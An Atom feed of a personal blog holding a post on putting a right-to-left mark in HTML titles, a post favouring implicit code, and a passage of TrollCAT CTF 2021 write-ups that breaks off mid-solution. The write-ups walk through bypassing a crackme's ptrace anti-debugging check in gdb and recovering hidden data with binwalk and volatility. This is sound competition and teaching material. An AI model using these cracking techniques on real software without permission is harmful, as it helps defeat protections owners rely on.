<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml"/><link href="/" rel="alternate" type="text/html"/><updated>2025-01-30T04:44:05+00:00</updated><id>/feed.xml</id><entry><title type="html">The ultimate solution to the nightmare of truncated tab titles</title><link href="/programming/2021/11/14/title-direction.html" rel="alternate" type="text/html" title="The ultimate solution to the nightmare of truncated tab titles"/><published>2021-11-14T00:00:00+00:00</published><updated>2021-11-14T00:00:00+00:00</updated><id>/programming/2021/11/14/title-direction</id><content type="html" xml:base="/programming/2021/11/14/title-direction.html"><![CDATA[<h3 id="problem">Problem</h3><p>I think we’ve all been in this situation: whilst navigating the pages of a website, following links by opening new tabs, we ultimately end up with an unnavigable mess:</p><p><img src="/assets/files/title-direction/tabs_ltr_same.png" alt="Screenshot of tabs with the right of the title truncated"/></p><p>Or even worse when not using <a href="https://github.com/piroor/treestyletab">Tree Style Tab</a>:</p><p><img src="/assets/files/title-direction/tabs_ltr_same_chrome.png" alt="Screenshot of tabs with the right of the title truncated in Chrome"/></p><p>Now luckily for me I use Tree Style Tab which means that I can change the direction of text inside of tabs (in the preferences) so that I can now see which pages I’m navigating:</p><p><img src="/assets/files/title-direction/tabs_rtl.png" alt="Screenshot of right to left text with Tree Style Tab"/></p><p>Except this obviously doesn’t work for other websites:</p><p><img src="/assets/files/title-direction/tabs_rtl_same.png" alt="Screenshot of right to left text with Tree Style Tab but the important information is not visible as it is truncated towards the right"/></p><p>We have a problem. Let’s fix it!</p><p>It seemed to me like the solution was standardisation, either everyone writes their titles so that they are readable when the text in the tab bar is left-aligned or everyone writes them so that they are readable right-aligned.</p><p>After some thoughts I came to the conclusion that it was preferable that all text inside of tab bars be written such that is was readable when the text was right-aligned (like for the PostgreSQL website) because it allows the text to be written in a coherent hierarchy: from general to more specific (like is used for <a href="https://en.wikipedia.org/wiki/ISO_8601">dates</a>, <a href="https://en.wikipedia.org/wiki/URL">paths</a>, and <a href="https://doc.rust-lang.org/reference/items/modules.html#module-source-filenames">paths</a>) and because the (only?) reason some websites have the more specific information at the start of their title is so that it is visible when the right side of the title is truncated.</p><p>We still have a problem.</p><p>It isn’t practical to go against the web’s (4.88 billion users) unstoppable momentum: the standardisation dream would involve having to convince everyone to rewrite their website titles such that they are readable right-aligned and convince browser vendors to display titles differently, something that is just simply impossible and even if it was possible, it wouldn’t necessarily be beneficial.</p><p>A second solution would be to have a per site configuration: either allow websites to indicate how they wish their title to be displayed or have an external database that is loaded on the client side using a browser extension or by the browser itself.</p><p>Neither solutions seem within reach, the first would require extending some kind of web standard, the second requires convincing browser vendors (and effectively extending the web standard) to make some changes as there are currently no APIs to change text direction from an extension.</p><h3 id="panacea">Panacea</h3><p>Except we don’t need to. Everything mentioned so far assumes that there is currently no way to change the alignment of text in tab bars, but in fact there is, and I’ve hinted at it by referring to “text direction”, because the solution is that:</p><p><img src="/assets/files/title-direction/arabic_news.png" alt="The tab with Arabic text is right aligned and truncated towards the left"/></p><p>Websites that use <a href="https://en.wikipedia.org/wiki/Right-to-left_script">right-to-left scripts</a> (like Arabic and Hebrew), have the text within title bar right-aligned.</p><p>And so this leads us to our solution:</p><div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;title&gt;</span><span class="ni">&amp;rlm;</span>Nils's website - The ultimate solution to the nightmare of truncated tab titles<span class="nt">&lt;/title&gt;</span>
</code></pre></div></div><p>With this added to web developer’s tool belt, hopefully some day, we will never have to click on 3 different tabs before finding the want we seek.</p><p>All credit goes to my friend <a href="https://pranavg.me/">Pranav</a>, who after I mentioned the problem to him thought about <a href="https://en.wikipedia.org/wiki/Right-to-left_script">right-to-left scripts</a> and then was able to make it work.</p><p><code class="language-plaintext highlighter-rouge">&amp;rlm;</code> is one of the ways to have a <a href="https://en.wikipedia.org/wiki/Right-to-left_mark">right-to-left mark</a> in HTML, if you prefer you can also use <code class="language-plaintext highlighter-rouge">&amp;#8207;</code>, <code class="language-plaintext highlighter-rouge">&amp;#x200F</code>, or a <a href="https://unicode-explorer.com/c/200F">raw UTF-8 character</a>.</p>]]></content><author><name></name></author><category term="[&quot;programming&quot;]"/><summary type="html"><![CDATA[Problem]]></summary></entry><entry><title type="html">Explicit actions imply intent, prefer implicit actions</title><link href="/programming/2021/08/28/implicit-explicit.html" rel="alternate" type="text/html" title="Explicit actions imply intent, prefer implicit actions"/><published>2021-08-28T00:00:00+00:00</published><updated>2021-08-28T00:00:00+00:00</updated><id>/programming/2021/08/28/implicit-explicit</id><content type="html" xml:base="/programming/2021/08/28/implicit-explicit.html"><![CDATA[<p>Software development (as well as many things in life) is all about making choices, one of them is deciding whether to do things in an implicit or explicit way.</p><p>Generally (based on my personal experience) the explicit option is the one that people recommend taking because it doesn’t require knowledge of the implicit behaviour and is more likely to be forward compatible.</p><p>For example, this could be when specifying arguments to a function, cli, etc. specifying the same values as the default values even though not specifying that argument at all would result in the same behaviour. Or in expressions, adding brackets for precedence even though it is not needed:</p><div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Here the brackets are superfluous</span>
<span class="kt">bool</span> <span class="n">perform_action</span> <span class="o">=</span> <span class="p">(</span><span class="n">timestamp</span> <span class="o">==</span> <span class="n">current_time</span><span class="p">)</span> <span class="o">?</span> <span class="n">object</span><span class="p">.</span><span class="n">has_changed</span><span class="p">()</span> <span class="o">:</span> <span class="n">timestamp</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div><p>However, I believe that expressing things implicitly would be better in many of these cases because when expressing things explicitly an intent is implied: it is implied there is a reason why the thing in question is defined explicitly. “Why would someone go out of their way to do something?”.</p><p>I believe that this implied intent can lead to confusion. For example it can make someone believe the default is not what it is, or the operator precedence is not in the order it actually is and as a result, the implicit option is preferable in some if not most of these cases.</p><p>Additionally, the implicit option also saves time when developing.</p><p>If for some reason, the implicit way is not clear enough, documentation (mainly through comments) I believe is a better solution than bearing this implied intent and in the case of forward compatibility, often the new default is what you want; if not, upgrading is usually trivial.</p><p>To conclude, in software development clarity is something that we want to maximise, and I believe that more often than people think doing things implicitly is the way to go about that.</p><p>Although this post was written in the context of software development the implied intent of being explicit also applies to different areas of life.</p>]]></content><author><name></name></author><category term="[&quot;programming&quot;]"/><summary type="html"><![CDATA[Software development (as well as many things in life) is all about making choices, one of them is deciding whether to do things in an implicit or explicit way.]]></summary></entry><entry><title type="html">TrollCAT CTF 2021 write-ups</title><link href="/ctf/writeup/2021/02/06/trollcat21.html" rel="alternate" type="text/html" title="TrollCAT CTF 2021 write-ups"/><published>2021-02-06T00:00:00+00:00</published><updated>2021-02-06T00:00:00+00:00</updated><id>/ctf/writeup/2021/02/06/trollcat21</id><content type="html" xml:base="/ctf/writeup/2021/02/06/trollcat21.html"><![CDATA[<p>This weekend, my team, <a href="https://ctftime.org/team/120438">Pwnzorz</a>, and I played in TrollCAT CTF 2021 and came in second placed. Here are my write-ups for the challenges I solved. If anything needs clarification, you are both welcome and encouraged to contact me.</p><p>I’d like to thank everyone in the team who got flags: <a href="https://www.aayushman.me/">Aayushman</a>, <a href="https://pranavgade20.github.io/">pranavgade20</a>, and <a href="https://www.uzpg.me/">Uzay-G</a>, as well as <a href="https://cscodershub.tech/">CSCODERSHUB</a> for organizing this CTF!</p><p><img src="/assets/files/trollcatCTF21/scoreboard.png" alt="scoreboard"/></p><ul id="markdown-toc"><li><a href="#reversing" id="markdown-toc-reversing">Reversing</a><ul><li><a href="#no-debug-460-pts-33-solves" id="markdown-toc-no-debug-460-pts-33-solves">no debug (460 pts 33 solves)</a></li></ul></li><li><a href="#forensics" id="markdown-toc-forensics">Forensics</a><ul><li><a href="#forbidden-100-pts-111-solves" id="markdown-toc-forbidden-100-pts-111-solves">Forbidden (100 pts 111 solves)</a></li><li><a href="#mr_evilpepo_1-400-pts-51-solves" id="markdown-toc-mr_evilpepo_1-400-pts-51-solves">Mr_evilpepo_1 (400 pts 51 solves)</a></li><li><a href="#mr_evilpepo_2-496-pts-12-solves--mr_evilpepo_3-498-pts-9-solves" id="markdown-toc-mr_evilpepo_2-496-pts-12-solves--mr_evilpepo_3-498-pts-9-solves">Mr_evilpepo_2 (496 pts 12 solves) &amp; Mr_evilpepo_3 (498 pts 9 solves)</a></li></ul></li><li><a href="#cryptography" id="markdown-toc-cryptography">Cryptography</a><ul><li><a href="#radio-station-apocalypse-457-pts-34-solves" id="markdown-toc-radio-station-apocalypse-457-pts-34-solves">Radio Station Apocalypse (457 pts 34 solves)</a></li></ul></li><li><a href="#networking" id="markdown-toc-networking">Networking</a><ul><li><a href="#free-wifi-316-pts-69-solves" id="markdown-toc-free-wifi-316-pts-69-solves">FREE WIFI (316 pts 69 solves)</a></li><li><a href="#i-am-so-sed-500-pts-1-solve-me-" id="markdown-toc-i-am-so-sed-500-pts-1-solve-me-">I am so sed (500 pts 1 solve (me 😊))</a></li><li><a href="#granny-wants-you-496-pts-12-solves" id="markdown-toc-granny-wants-you-496-pts-12-solves">Granny wants you (496 pts 12 solves)</a></li></ul></li><li><a href="#steganography" id="markdown-toc-steganography">Steganography</a><ul><li><a href="#change-my-mind-100-pts-210-solves" id="markdown-toc-change-my-mind-100-pts-210-solves">Change my mind (100 pts 210 solves)</a></li></ul></li></ul><h3 id="reversing">Reversing</h3><h4 id="no-debug-460-pts-33-solves">no debug (460 pts 33 solves)</h4><h5 id="description">Description</h5><p>Exterminators stay away !</p><p>nc 157.230.33.195 3333</p><p><a href="https://cdn.discordapp.com/attachments/806943688625225758/807504565384904764/dist.zip">file</a> Flag format : Trollcat{.*} Author : codacker</p><h5 id="solution">Solution</h5><p>When running <code class="language-plaintext highlighter-rouge">file</code> on the executable, we can see that it is stripped:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file crackme
crackme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f4599ab6673e44ee040c43849f7af66cd81a3d45, for GNU/Linux 3.2.0, stripped
</code></pre></div></div><p>Which means there are are no symbols to help us, including to find the main function. I opened the binary in <a href="https://ghidra-sre.org/">Ghidra</a> and to find the main function, started with with the entry point:</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">entry</span><span class="p">(</span><span class="n">undefined8</span> <span class="n">param_1</span><span class="p">,</span><span class="n">undefined8</span> <span class="n">param_2</span><span class="p">,</span><span class="n">undefined8</span> <span class="n">param_3</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">undefined8</span> <span class="n">in_stack_00000000</span><span class="p">;</span>
  <span class="n">undefined</span> <span class="n">auStack8</span> <span class="p">[</span><span class="mi">8</span><span class="p">];</span>
  
  <span class="n">__libc_start_main</span><span class="p">(</span><span class="n">FUN_001017b6</span><span class="p">,</span><span class="n">in_stack_00000000</span><span class="p">,</span><span class="o">&amp;</span><span class="n">stack0x00000008</span><span class="p">,</span><span class="n">FUN_00101880</span><span class="p">,</span><span class="n">FUN_001018e0</span><span class="p">,</span>
                    <span class="n">param_3</span><span class="p">,</span><span class="n">auStack8</span><span class="p">);</span>
  <span class="k">do</span> <span class="p">{</span>
                    <span class="c1">// WARNING: Do nothing block with infinite loop</span>
  <span class="p">}</span> <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div><p>Here the main function is the first argument of <code class="language-plaintext highlighter-rouge">__libc_start_main</code>, (which we can now rename to <code class="language-plaintext highlighter-rouge">main</code> inside of Ghidra).</p><p>Looking at its decompilation, we can see that the main function takes input from the user, gives it to a function (I’ll rename <code class="language-plaintext highlighter-rouge">check</code>) along side with the length of the input and if the check function returns something else than a zero it prints the flag to the user.</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>
  <span class="n">undefined8</span> <span class="n">uStack288</span><span class="p">;</span>
  <span class="n">undefined</span> <span class="n">local_118</span> <span class="p">[</span><span class="mi">264</span><span class="p">];</span>
  <span class="kt">ssize_t</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">uStack288</span> <span class="o">=</span> <span class="mh">0x1017d2</span><span class="p">;</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Enter key: "</span><span class="p">);</span>
  <span class="n">uStack288</span> <span class="o">=</span> <span class="mh">0x1017eb</span><span class="p">;</span>
  <span class="n">local_10</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">local_118</span><span class="p">,</span><span class="mh">0xff</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">local_118</span><span class="p">[</span><span class="n">local_10</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">uStack288</span> <span class="o">=</span> <span class="mh">0x101820</span><span class="p">;</span>
  <span class="n">iVar1</span> <span class="o">=</span> <span class="n">FUN_00101738</span><span class="p">(</span><span class="n">local_118</span><span class="p">,</span><span class="n">local_10</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="n">local_10</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">uStack288</span> <span class="o">=</span> <span class="mh">0x10186f</span><span class="p">;</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid key"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">uStack288</span> <span class="o">=</span> <span class="mh">0x101835</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Congrats here is your flag: "</span><span class="p">);</span>
    <span class="n">uStack288</span> <span class="o">=</span> <span class="mh">0x10184b</span><span class="p">;</span>
    <span class="n">iVar1</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/flag"</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
    <span class="n">uStack288</span> <span class="o">=</span> <span class="mh">0x101861</span><span class="p">;</span>
    <span class="n">sendfile</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">iVar1</span><span class="p">,(</span><span class="kt">off_t</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mh">0x100</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div><p>This means that what we want to achieve is that the check function, given our input, returns a non-zero value.</p><p>Looking at the decompilation of the <code class="language-plaintext highlighter-rouge">check</code> function, we can see that it calls 2 functions with parameters 1. the length of the user input 2. some global variables. It then compares the user input with one of the global variables and if they both match, return 1, otherwise return 0.</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">check</span><span class="p">(</span><span class="kt">long</span> <span class="n">param_1</span><span class="p">,</span><span class="n">ulong</span> <span class="n">param_2</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">int</span> <span class="n">local_c</span><span class="p">;</span>
  
  <span class="n">FUN_001014bc</span><span class="p">(</span><span class="n">s_waRaSg47_NpGiS93niKQKtKQ7dihholA_001040a0</span><span class="p">,</span><span class="mh">0x20</span><span class="p">);</span>
  <span class="n">FUN_001015f8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_001040d0</span><span class="p">,</span><span class="n">param_2</span><span class="p">);</span>
  <span class="n">local_c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">&lt;=</span> <span class="p">(</span><span class="n">ulong</span><span class="p">)(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_c</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="n">local_c</span><span class="p">)</span> <span class="o">!=</span> <span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_001040d0</span><span class="p">)[</span><span class="n">local_c</span><span class="p">])</span> <span class="k">break</span><span class="p">;</span>
    <span class="n">local_c</span> <span class="o">=</span> <span class="n">local_c</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div><p>Because the functions called inside of <code class="language-plaintext highlighter-rouge">check</code> are only dependent on the length of the user input and not the user input itself, we don’t have to understand how the 2 functions affect the global variables; we can just see (using a debugger) what the value of the global variable is, and then give that as user input.</p><p>So I ran the binary inside of <code class="language-plaintext highlighter-rouge">gdb</code> but something unexpected happened: when breaking on the main function (identified because it is the first parameter of <code class="language-plaintext highlighter-rouge">__libc_start_main</code>, and therefore its address is located in the <code class="language-plaintext highlighter-rouge">rdi</code> register when <code class="language-plaintext highlighter-rouge">__libc_start_main</code> is called), our breakpoint would never be reached but we would still be asked to enter the key:</p><script id="asciicast-oUXRrYljYirXrMfZe4ThBSHte" src="https://asciinema.org/a/oUXRrYljYirXrMfZe4ThBSHte.js" async=""></script><p>To understand where I was, I pressed CTRL-C when the input was given and saw the following backtrace:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ► f 0     7ffff7ebeec2 read+18
   f 1     555555555393
   f 2     5555555554af
   f 3     5555555558c5
   f 4     7ffff7df60de __libc_start_main+126
</code></pre></div></div><p>Looking inside of Ghidra what those addresses corresponded to:</p><p>0x8c5:</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">FUN_00101880</span><span class="p">(</span><span class="n">undefined4</span> <span class="n">param_1</span><span class="p">,</span><span class="n">undefined8</span> <span class="n">param_2</span><span class="p">,</span><span class="n">undefined8</span> <span class="n">param_3</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">long</span> <span class="n">lVar1</span><span class="p">;</span>
  
  <span class="n">_DT_INIT</span><span class="p">();</span>
  <span class="n">lVar1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">do</span> <span class="p">{</span>
    <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">__DT_INIT_ARRAY</span><span class="p">)[</span><span class="n">lVar1</span><span class="p">])(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_2</span><span class="p">,</span><span class="n">param_3</span><span class="p">);</span>
    <span class="n">lVar1</span> <span class="o">=</span> <span class="n">lVar1</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">lVar1</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">);</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div><p>0x4af:</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">FUN_0010141a</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">long</span> <span class="n">lVar1</span><span class="p">;</span>
  
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">alarm</span><span class="p">(</span><span class="mh">0x30</span><span class="p">);</span>
  <span class="n">lVar1</span> <span class="o">=</span> <span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_TRACEME</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">lVar1</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">FUN_001011e5</span><span class="p">();</span>
                    <span class="c1">// WARNING: Subroutine does not return</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div><p>We can see that inside of the second function, it uses <code class="language-plaintext highlighter-rouge">ptrace</code> to see if the process is already traced which would be the case if it ran inside of a debugger. If this anti debugging function detects that the process is traced, it runs another function (a fake main) and then exists, otherwise it continues (to the main function).</p><p>So what I did is change the value returned by <code class="language-plaintext highlighter-rouge">ptrace</code> so that the fake main function isn’t executed and I then printed the value of the global variable that the user input is compared to in <code class="language-plaintext highlighter-rouge">check</code>.</p><script id="asciicast-EPUuQHd54cYLo5i7h0TFgQy1D" src="https://asciinema.org/a/EPUuQHd54cYLo5i7h0TFgQy1D.js" async=""></script><p>Here <code class="language-plaintext highlighter-rouge">0x555555555767</code> (first breakpoint) is the address where the second function is called inside of the <code class="language-plaintext highlighter-rouge">check</code> function. <code class="language-plaintext highlighter-rouge">0x5555555554a0</code> is where the value returned by ptrace is checked and <code class="language-plaintext highlighter-rouge">0x5555555580d0</code> is the address of the variable.</p><p>We can now use that value against the remote instance and get the flag:</p><script id="asciicast-CxL4D1QcVYO7DGJ1wu2EwISfu" src="https://asciinema.org/a/CxL4D1QcVYO7DGJ1wu2EwISfu.js" async="" data-rows="15"></script><h3 id="forensics">Forensics</h3><h4 id="forbidden-100-pts-111-solves">Forbidden (100 pts 111 solves)</h4><h5 id="description-1">Description</h5><p>Agent Troll recieved some file but not able to read the data can you help us?</p><p>Author: White_Wolf</p><p><a href="/assets/files/trollcatCTF21/trollcats.car">trollcats.car</a></p><h5 id="solution-1">Solution</h5><p>Running <code class="language-plaintext highlighter-rouge">file</code> on the attached file revealed nothing:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file trollcats.car
assets/files/trollcatCTF21/trollcats.car: data
</code></pre></div></div><p>So, I opened the file in an editor as I usually do and saw that some plain strings were visible:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strings trollcats.car
CAR1
BZh9
rE8P
BZh9
rE8P
BZh9
rE8P
BZh91AY&amp;SY
@BZh9
rE8P
BZh9
rE8P
are_you_trying_to_use_strings
cats
doyoulovecats
foryoudeer
marmar
Troll
</code></pre></div></div><p>The repetition of “BZh9” caught my attention as it looked oddly familiar. I searched it up and the first result was a link to the <a href="https://en.wikipedia.org/wiki/Bzip2">Wikipedia page for bzip2</a>. Considering the bzip2 part didn’t seem to start at the beginning of the file (the file starts with “CAR1”), I decided to use binwalk to make the process easier:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ binwalk -e trollcats.car
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
50            0x32            bzip2 compressed data, block size = 900k
$ cat _trollcats.car.extracted/32
Trollcat{M0zilla_Archive_maaaarls}
</code></pre></div></div><h4 id="mr_evilpepo_1-400-pts-51-solves">Mr_evilpepo_1 (400 pts 51 solves)</h4><h5 id="description-2">Description</h5><p>We have caught Mr.EvilPepo and now it is time for you to investigate him we searched his house and we got not much proof we got some report from OSINT department and Our OSINT Investigator told us that he mentioned on his socials “Hack Me if you can, i use same password Everywhere” we have dumped his computer memory and for further investigation we need your help. he typed the flag command somewhere and now he forgot it. can you find it?</p><p><a href="https://mega.nz/file/y90gWRJa#6lJ4qpKw3bfLKvbcTuvcOgGdDpYS9AapC_mwKM-4Zg4">File</a></p><p>Flag Format: Trolcat{}</p><p>Author: White_wolf</p><h5 id="solution-2">Solution</h5><p>The link is a download for a file, <code class="language-plaintext highlighter-rouge">evilpepo.vmem.7z</code>. The presence of <code class="language-plaintext highlighter-rouge">mem</code> suggests that it is a memory dump; time to use <a href="https://www.volatilityfoundation.org/">volatility</a>!</p><p>After extracting it using 7z (<code class="language-plaintext highlighter-rouge">7z x evilpepo.vmem.7z</code>), I started off with the usual <code class="language-plaintext highlighter-rouge">imageinfo</code> in order to detect the type of dump it was and, most importantly, to get a profile:</p><pre>
$ volatility -f evilpepo.vmem imageinfo
          Suggested Profile(s) : <b>Win7SP1x64</b>, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/nils/Downloads/evilpepo.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002a3f0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002a40d00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2021-01-12 13:22:41 UTC+0000
     Image local date and time : 2021-01-12 18:52:41 +0530
</pre><p>The mention of “command” in the challenge description suggested that it had something to do with a command typed into <code class="language-plaintext highlighter-rouge">cmd.exe</code>, so I ran the <code class="language-plaintext highlighter-rouge">consoles</code> plug-in:</p><pre>
$ volatility -f evilpepo.vmem --profile=Win7SP1x64 consoles
**************************************************
ConsoleProcess: conhost.exe Pid: 992
Console: 0xff346200 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: Command Prompt
Title: Command Prompt
AttachedProcess: cmd.exe Pid: 1492 Handle: 0x60
----
CommandHistory: 0x39eb60 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 37 LastAdded: 36 LastDisplayed: 36
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 at 0x37e550: helo
Cmd #1 at 0x37e570: troollll
Cmd #2 at 0x37e590: caaat
Cmd #3 at 0x37e5b0: yooooo
Cmd #4 at 0x39de90: <b>T</b>
Cmd #5 at 0x39dcd0: <b>r</b>
Cmd #6 at 0x3a2f00: <b>o</b>
Cmd #7 at 0x3a2f20: <b>l</b>
Cmd #8 at 0x3a2f40: <b>c</b>
Cmd #9 at 0x3a2f60: <b>a</b>
Cmd #10 at 0x3a2fb0: <b>t</b>
Cmd #11 at 0x3a2fc0: <b>{</b>
Cmd #12 at 0x3a2fd0: <b>c</b>
Cmd #13 at 0x3a2fe0: <b>o</b>
Cmd #14 at 0x3a2ff0: <b>m</b>
Cmd #15 at 0x3a3000: <b>a</b>
Cmd #16 at 0x3a3010: <b>n</b>
Cmd #17 at 0x3a3020: <b>d</b>
Cmd #18 at 0x3a3030: <b>s</b>
Cmd #19 at 0x3a3040: <b>_</b>
Cmd #20 at 0x3a3050: <b>4</b>
Cmd #21 at 0x3a3060: <b>r</b>
Cmd #22 at 0x3a3070: <b>3</b>
Cmd #23 at 0x3a3080: <b>_</b>
Cmd #24 at 0x3a3090: <b>i</b>
Cmd #25 at 0x3a30a0: <b>m</b>
Cmd #26 at 0x3a30b0: <b>p</b>
Cmd #27 at 0x3a30c0: <b>o</b>
Cmd #28 at 0x3a30d0: <b>r</b>
Cmd #29 at 0x3a30e0: <b>t</b>
Cmd #30 at 0x3a30f0: <b>a</b>
Cmd #31 at 0x3a3100: <b>n</b>
Cmd #32 at 0x3a3110: <b>t</b>
Cmd #33 at 0x3a3120: <b>}</b>
Cmd #34 at 0x3a33b0: hope you got it 
Cmd #35 at 0x377860: "are you trying to run strings?"
Cmd #36 at 0x3a33e0: lolololololol
----
Screen 0x381120 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]                                            
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
                                                                                
C:\Users\WhiteWolf&gt;helo                                                         
'helo' is not recognized as an internal or external command,                    
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;troollll                                                     
'troollll' is not recognized as an internal or external command,                
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;caaat                                                        
'caaat' is not recognized as an internal or external command,                   
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;yooooo                                                       
'yooooo' is not recognized as an internal or external command,                  
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>T</b>
'T' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>r</b>
'r' is not recognized as an internal or external command,                       
